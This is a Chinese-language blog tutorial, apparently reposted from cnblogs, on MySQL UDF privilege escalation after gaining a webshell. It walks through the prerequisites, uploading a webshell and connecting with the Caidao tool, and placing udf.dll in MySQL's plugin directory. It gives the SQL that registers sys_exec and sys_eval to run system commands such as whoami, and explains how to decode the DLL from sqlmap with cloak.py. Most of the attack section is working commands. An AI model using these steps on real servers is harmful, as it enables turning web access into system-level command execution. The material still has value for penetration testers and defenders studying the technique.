• MySQL提权之udf提权(获得webshell的情况)


    什么是udf提权?

    MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf。

    它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库!这样一来我们就可以利用 system权限进行提权操作了!

    当我们拿到webshell后,由于中间件,例如,apache使用了较低的权限,可能仅仅是个网络服务的权限,然后我们就需要进行提权,而有时候目标机器补丁较全,各种系统提权姿势都失效的情况下,可以将目光转义到数据库服务上,在Windows下,在较低版本的mysql(<5.6)安装时默认是系统权限。还有就是很多人图方便,例如使用了各种集成环境,未做安全设置,直接用高权限账户进行站点配置,就可以考虑用UDF进行提权。

    dll文件的好处?
    1.扩展了应用程序的特性;
    2.可以用许多种编程语言来编写;
    3.简化了软件项目的管理;
    4.有助于节省内存;
    5.有助于资源共享;

    什么是udf库?
    UDF表示的是MySQL中的用户自定义函数。这就像在DLL中编写自己的函数并在MySQL中调用它们一样。我们将使用“lib_mysqludf_sys_64.dll”DLL库

    不同版本的区别:

    MySql < 4.1:

    允许用户将任何的DLL文件里面的函数注册到MySql里。

    MySql 4.1-5.0:

    对用来注册的DLL文件的位置进行了限制,通常我们选择 UDF导出到系统目录

    C:/windows/system32/来跳过限制。

    MySql >=5.1:

    这些DLL只能被放在MySql的plugin目录下。

    0x01 提权的前提

    1. 必须是root权限(主要是得创建和抛弃自定义函数)

    2. secure_file_priv=(未写路径)

    3. 将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL>=5.1为例)

    0x02 开始提权

    这里以本地为例

    1.我们这里上传了一句话,然后用菜刀连接上

    先判断数据库版本

    select version();

    符合MySql>=5.1的情况。

    2. 查看plugin目录名称:

    show variables like 'plugin%';

    3. 查询目录的绝对路径:

    select @@plugin_dir;

    4. 上传phpda.php,然后访问这个马

    5. 上传udf.dll到 E:phpStudyPHPTutorialMySQLlibplugin下

    注意:这里没有plugin这个文件夹,我们必须手动创建(直接在大马上新建就ok)

    6. 我们主要利用udf.dll中的sys_exec(),sys_eval()等函数来进行命令执行

    该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。

    安装:
    create function sys_exec returns string soname "udf.dll";
    验证:
    select * from mysql.func where name = 'sys_exec';

     然后进行命令执行

    select sys_exec("whoami");

    这里用sys_exec()函数好像不可以,我们换个函数

    sys_eval
    该函数将执行系统命令并在屏幕上通过标准输出显示。

    安装:
    create function sys_eval returns string soname 'udf.dll';
    验证:
    select * from mysql.func where name = 'sys_eval';

    然后进行命令执行

    select sys_eval("whoami");

    成功执行

    删除:
    drop function sys_eval;

    ps: sqlmap下就有udf.dll文件,提取出来就行了

    sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py

    解码完了,在sqlmapudfmysqlwindows,32和64文件夹下会生成dll文件

    0x03 结语

    最后,总的来说,UDF提权就是利用MySql允许扩展自定义函数的特性,将webshell的权限变成和mysql运行权限一致,所以就有个前提,mysql得是以高权限进行运行的,至少得比中间件权限高,才有用这个方法进行提权的必要。

  • 相关阅读:
    5js
    4js
    3js
    2js
    1js
    7css
    6css
    5css
    Django高级项目实战-开发企业级问答网站,学Django就这了
    Java日志第27天 2020.8.1
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12989830.html
Copyright © 2020-2023  润新知